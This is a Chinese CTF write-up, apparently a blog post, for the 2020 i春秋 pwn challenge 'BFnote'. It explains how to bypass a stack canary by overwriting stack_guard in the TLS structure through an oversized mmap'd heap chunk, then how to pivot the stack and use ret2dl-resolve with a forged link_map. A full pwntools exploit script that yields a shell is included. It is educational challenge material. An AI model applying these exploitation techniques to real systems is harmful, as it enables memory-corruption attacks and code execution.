i春秋2020新春战役PWN之BFnote (修改TLS结构来bypass canary)

161 篇文章 9 订阅
161 篇文章 9 订阅

BFnote

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

一开始处,有一个栈溢出漏洞,但是由于开启了canary保护,得想办法绕过canary。下方的堆溢出,不仔细看还发现不了,v4只有一开始被初始化,在循环里,只有i被重新赋值,v4没变,而下方又用到了v4

这题是可以绕过canary的,这就牵涉到了一个知识点。

在linux下,有一种线程局部存储(Thread Local Storage)机制,简称TLS。它主要存储着一个线程的一些全局变量。它的结构如下

  1. typedef struct  
  2. {  
  3.   void *tcb;        /* Pointer to the TCB.  Not necessarily the  
  4.                thread descriptor used by libpthread.  */  
  5.   dtv_t *dtv;  
  6.   void *self;       /* Pointer to the thread descriptor.  */  
  7.   int multiple_threads;  
  8.   int gscope_flag;  
  9.   uintptr_t sysinfo;  
  10.   uintptr_t stack_guard;  
  11.   uintptr_t pointer_guard;  
  12.   ...  
  13. } tcbhead_t;  

而我们的canary是怎么取得的呢

而gs或者fs寄存器就正好指向的是这个结构。结构里的uintptr_t stack_guard就是canary值,因此,绕过我们能利用漏洞篡改这个结构里的stack_guard值,也就可以绕过canary了。

在glibc2.23中,这个结构存储在一块mmap出的内存里,在libc.so的上方,如果是其他版本的glibc,则不一定。

如果我们能够申请一块堆到debug001的上方,利用堆溢出,便能修改到debug001,也就是能修改到TLS结构。正好,本题malloc的大小不受限制,我们只需要malloc一个很大的堆>=0x20000,malloc就会使用mmap来分配内存,正好可以分配到debug001上方。

当我们申请到了上方后,不能直接覆盖TLS结构,因为在stack_guard 变量前面的几个变量更系统调用有关,不能改了,因此我们不能覆盖,而应该单独修改stack_guard的值。那么我们可以利用下标越界溢出来修改

通过调试,计算出偏移,然后修改即可。

  1. #mmap一个合适堆,在glibc2.23下可以分配到TLS结构上方附近  
  2. sh.sendlineafter('Give your notebook size : ',str(1024*130))  
  3. overflow_len = 0x216FC  
  4. #初始化v4  
  5. sh.sendlineafter('Give your title size : ',str(overflow_len))  
  6. sh.sendlineafter('invalid ! please re-enter :','1')  
  7. sh.sendafter('Give your title : ','a')  
  8. #绕过canary的重点在这里,将TLS里的canary覆盖为aaaa  
  9. #raw_input()  
  10. sh.sendafter('Give your note :','aaaa')  

接下来,就是一个栈溢出了。

但是在ebp上方,取ecx的值作为地址取一个值,这意味着,我们不能覆盖ebp+var_4,这也就意味着我们不能覆盖到main函数的返回地址。

由此,我们将ebp+var_4覆盖为bss的地址,这样,就可以栈迁移到bss段,然后在bss段进行ROP

然后,我们注意到本题的输出,用的是fwritefprintf,这使得我们很难找到合适的gadget来控制参数。并且,这些函数的空间花销很大,调用需要开辟较大的栈空间,但是我们的bss段不允许。

经过再三的思考,最终,我们用到了ret2dl-resolve来解。Ret2dl-resolve详见https://blog.csdn.net/seaaseesa/article/details/104478081,通过伪造link_map,实现任意函数,任意地址动态解析。ret2dl-resolve时,需要注意对齐。不然偏移计算会有偏差

综上,我们的exp脚本

#coding:utf8
#32位下的ret2dl-resolve,伪造link_map实现任意地址解析
from pwn import *

sh = process('./BFnote',env={"LD_PRELOAD":"./libc.so.6"})
#sh = remote('123.56.85.29',6987)
libc = ELF('./libc.so.6')
elf = ELF('./BFnote')
read_got = elf.got['read']
read_plt = elf.plt['read']
bss = 0x804A040
pop_ebp = 0x80489db
leave_ret = 0x8048578
one_gadget = 0x3a80c

l_addr = one_gadget - libc.sym['read']
#注意,只要是可读写的内存地址即可,调试看看就知道了
r_offset = bss + l_addr * -1

#负数需要补码
if l_addr < 0:
   l_addr = l_addr + 0x100000000

#栈迁移
payload = 'a'*0x3A + p32(bss+0x100)
sh.sendafter('Give your description : ',payload)

#dl-runtime-resolve
#真正的dynsym的起始地址
dynsym_addr = 0x80481D8
#真正的dynstr的地址
dynstr = 0x80481D8
#调用dll_runtime_resolve处
plt_load = 0x8048456

#我们准备把link_map放置在bss+0x20处
fake_link_map_addr = bss + 0x600
#假的dyn_strtab
fake_dyn_strtab_addr = fake_link_map_addr + 0x4
fake_dyn_strtab = p32(0) + p32(dynstr) #fake_link_map_addr + 0x8
#假的dyn_symtab,我们要让对应的dynsym里的st_value指向一个已经解析过的函数的got表
#其他字段无关紧要,所以,我们让dynsym为read_got - 0x4,这样,相当于把read_got - 0x4处开始当做一个dynsym,这样st_value正好对应了read的地址
#并且(*(sym+5))&0x03 != 0也成立
fake_dyn_symtab_addr = fake_link_map_addr + 0xC
fake_dyn_symtab = p32(0) + p32(read_got - 0x4) #fake_link_map_addr + 0xC
#假的dyn_rel
fake_dyn_rel_addr = fake_link_map_addr + 0x14
fake_dyn_rel = p32(0) + p32(fake_link_map_addr + 0x1C) #fake_link_map_addr + 0x14
#假的rel.plt
fake_rel = p32(r_offset) + p32(0x7) + p32(0) #fake_link_map_addr + 0x1C
#l_addr
fake_link_map = p32(l_addr)
#由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中
fake_link_map += fake_dyn_strtab
fake_link_map += fake_dyn_symtab
fake_link_map += fake_dyn_rel
fake_link_map += fake_rel
fake_link_map = fake_link_map.ljust(0x34,'\x00')
#dyn_strtab的指针
fake_link_map += p32(fake_dyn_strtab_addr)
#dyn_strsym的指针
fake_link_map += p32(fake_dyn_symtab_addr) #fake_link_map_addr + 0x38
#存入/bin/sh字符串
fake_link_map += '/bin/sh'.ljust(0x40,'\x00')
#在fake_link_map_addr + 0x7C处,是rel.plt指针
fake_link_map += p32(fake_dyn_rel_addr)

#栈迁移后,我们再继续迁移一次,扩大空间,为dl-resolve做准备
payload1 = 'a'*0xDC + p32(pop_ebp) + p32(bss + 0x800) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x600) + p32(0x1000)
#第一次,我们做栈迁移,同时继续调用read读取下一轮数据
sh.sendlineafter('Give your postscript : ',payload1)
#mmap一个合适堆,在glibc2.23下可以分配到TLS结构上方附近
sh.sendlineafter('Give your notebook size : ',str(1024*130))
overflow_len = 0x216FC
#初始化v4
sh.sendlineafter('Give your title size : ',str(overflow_len))
sh.sendlineafter('invalid ! please re-enter :','1')
sh.sendafter('Give your title : ','a')
#绕过canary的重点在这里,将TLS里的canary覆盖为aaaa
#raw_input()
sh.sendafter('Give your note :','aaaa')

#第二次,我们发送伪造的数据结构和dl-resolve的rop
rop = '\x00'*0x4 + p32(plt_load) + p32(fake_link_map_addr) + p32(0) + 'aaaa'
payload = fake_link_map.ljust(0x200,'\x00') + rop
sh.sendline(payload)

sh.interactive()

 

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值